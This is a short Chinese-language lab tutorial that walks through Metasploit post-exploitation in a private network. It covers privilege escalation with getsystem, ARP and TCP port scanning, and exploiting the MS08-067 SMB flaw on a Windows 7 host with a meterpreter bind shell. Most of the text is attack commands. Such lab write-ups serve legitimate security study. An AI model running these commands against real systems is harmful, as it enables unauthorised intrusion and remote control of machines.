环境:小攻:Kali 2020,ip:192.168.1.133
小受:win7 x86,ip:192.168.1.144
小小受:win7 x64 ,ip: 192.168.1.130
一、生成木马及监听主机参考上篇文章:
二、获取小受的IP地址
meterpreter > getsystem
三、获取内网中存活的主机,以一台win03主机为例
meterpreter > run post/windows/gather/arp_scanner rhosts=192.168.1.0/24
四、端口扫描,看看小小受开放了那些端口
1、选择用到的模块:msf5 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp
2、查看需要配置的参数:show options
3、设置要扫描的端口:msf5 auxiliary(scanner/portscan/tcp) > set ports 80,135,445,3389,3306
4、设置小小受ip地址:msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.1.130
5、执行:msf5 auxiliary(scanner/portscan/tcp) > run
五、利用ms08_067漏洞拿下小小受
1、搜索ms08_067模块信息
msf5 auxiliary(scanner/portscan/tcp) > search ms08_067
2、选择该模块并设置payload
msf5 > use exploit/windows/smb/ms08_067_netapi
msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
3、查看需要配置的参数:
msf5 exploit(windows/smb/ms08_067_netapi) > show options
4、设置目标主机并执行
msf5 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.1.130
msf5 exploit(windows/smb/ms08_067_netapi) > run